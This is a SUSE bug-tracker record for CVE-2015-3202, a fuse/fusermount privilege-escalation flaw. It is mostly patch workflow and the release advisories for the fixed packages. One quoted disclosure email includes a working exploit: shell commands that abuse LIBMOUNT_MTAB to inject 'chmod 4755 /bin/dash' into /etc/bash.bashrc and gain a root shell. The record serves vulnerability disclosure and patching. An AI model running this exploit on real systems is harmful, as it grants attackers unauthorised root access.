Bug 931452 - (CVE-2015-3202) VUL-0: CVE-2015-3202: fuse, ntfs-3g: environment wasn't cleared automatically
(CVE-2015-3202)
VUL-0: CVE-2015-3202: fuse, ntfs-3g: environment wasn't cleared automatically
Status: RESOLVED FIXED
Classification: Novell Products
Product: SUSE Security Incidents
Classification: Novell Products
Component: Incidents
unspecified
Other Other
: P3 - Medium : Normal
: ---
Assigned To: Security Team bot
Security Team bot
CVSSv2:SUSE:CVE-2015-3202:4.1:(AV:L/A...
:
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2015-05-19 10:18 UTC by Alexander Bergmann
Modified: 2020-07-26 17:59 UTC (History)
7 users (show)

See Also:
Found By: ---
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Comment 4 Swamp Workflow Management 2015-05-19 22:01:13 UTC
bugbot adjusting priority
Comment 8 Swamp Workflow Management 2015-05-20 11:29:57 UTC
An update workflow for this issue was started.
This issue was rated as moderate.
Please submit fixed packages until 2015-06-03.
When done, reassign the bug to security-team@suse.de.
https://swamp.suse.de/webswamp/wf/61781
Comment 9 Sebastian Krahmer 2015-05-20 11:45:52 UTC
There are some open questions I mailed to vendor-sec. Not issuing PI's
at this time. Might require new submits.
Comment 11 Sebastian Krahmer 2015-05-20 12:25:09 UTC
Ok. So I will submit fuse PI only. Given that SLE11 does not
use libmount anyways, thats a minor issue for SLE11 anyways.
Yet, nevertheless using the existing fuse submits for sle10 and sle11.
Comment 13 Marcus Meissner 2015-05-22 11:07:58 UTC
From: Tavis Ormandy <taviso@google.com>
Date: Thu, 21 May 2015 09:55:16 -0700
Subject: [oss-security] CVE-2015-3202 fuse privilege escalation

Hello, this was discussed on the distros list last week.

The fusermount binary calls setuid(geteuid()) to reset the ruid when
it invokes /bin/mount so that it can use privileged mount options that
are normally restricted if ruid != euid. That's acceptable (but scary)
in theory, because fusermount can sanitize the call to make sure it's
safe.

http://sources.debian.net/src/fuse/2.9.3-15/util/mount_util.c/?hl=99#L99

However, because mount thinks it's being invoked by root, it allows
access to debugging features via the environment that would not
normally be safe for unprivileged users and fusermount doesn't
sanitize them.

Therefore, the bug is that the environment is not cleared when calling
mount with ruid=0. One debugging feature available is changing the
location of /etc/mtab by setting LIBMOUNT_MTAB, which can be abused to
overwrite arbitrary files.

This can be exploited like so.

$ printf "chmod 4755 /bin/dash" > /tmp/exploit && chmod 755 /tmp/exploit
$ mkdir -p '/tmp/exploit||/tmp/exploit'
$ LIBMOUNT_MTAB=/etc/bash.bashrc  _FUSE_COMMFD=0 fusermount
'/tmp/exploit||/tmp/exploit'
fusermount: failed to open /etc/fuse.conf: Permission denied
sending file descriptor: Socket operation on non-socket
$ cat /etc/bash.bashrc
/dev/fuse /tmp/exploit||/tmp/exploit fuse rw,nosuid,nodev,user=taviso 0 0

Then simply wait for root to login, or alternatively overwrite
/etc/default/locale and wait for cron to run a script that sources it.
That means root wouldn't have to log in, but you would have to wait
around until midnight to check if it worked.

Tavis.

P.S. Just for fun, I also came up with a version that fits in a tweet
https://twitter.com/taviso/status/601370527437967360
Comment 16 Bernhard Wiedemann 2015-05-22 12:00:13 UTC
This is an autogenerated message for OBS integration:
This bug (931452) was mentioned in
https://build.opensuse.org/request/show/308362 13.2 / fuse
https://build.opensuse.org/request/show/308363 13.1 / fuse
Comment 17 Miklos Szeredi 2015-05-26 11:48:20 UTC
Over to security-team.
Comment 18 Swamp Workflow Management 2015-06-03 15:07:47 UTC
openSUSE-SU-2015:0997-1: An update that fixes one vulnerability is now available.

Category: security (moderate)
Bug References: 931452
CVE References: CVE-2015-3202
Sources used:
openSUSE 13.2 (src):    fuse-2.9.4-4.3.1
Comment 19 Swamp Workflow Management 2015-06-05 10:05:09 UTC
openSUSE-SU-2015:1003-1: An update that fixes one vulnerability is now available.

Category: security (moderate)
Bug References: 931452
CVE References: CVE-2015-3202
Sources used:
openSUSE 13.1 (src):    fuse-2.9.4-2.3.1
Comment 20 Swamp Workflow Management 2015-06-10 12:05:05 UTC
SUSE-SU-2015:1024-1: An update that fixes one vulnerability is now available.

Category: security (moderate)
Bug References: 931452
CVE References: CVE-2015-3202
Sources used:
SUSE Linux Enterprise Software Development Kit 11 SP3 (src):    fuse-2.8.7-0.11.1
SUSE Linux Enterprise Server 11 SP3 for VMware (src):    fuse-2.8.7-0.11.1
SUSE Linux Enterprise Server 11 SP3 (src):    fuse-2.8.7-0.11.1
SUSE Linux Enterprise Desktop 11 SP3 (src):    fuse-2.8.7-0.11.1
Comment 21 Swamp Workflow Management 2015-06-12 08:05:14 UTC
SUSE-SU-2015:1053-1: An update that fixes one vulnerability is now available.

Category: security (moderate)
Bug References: 931452
CVE References: CVE-2015-3202
Sources used:
SUSE Linux Enterprise Software Development Kit 12 (src):    fuse-2.9.3-5.1
SUSE Linux Enterprise Server 12 (src):    fuse-2.9.3-5.1
SUSE Linux Enterprise Desktop 12 (src):    fuse-2.9.3-5.1
Comment 22 Victor Pereira 2015-06-12 08:58:50 UTC
fixed and released.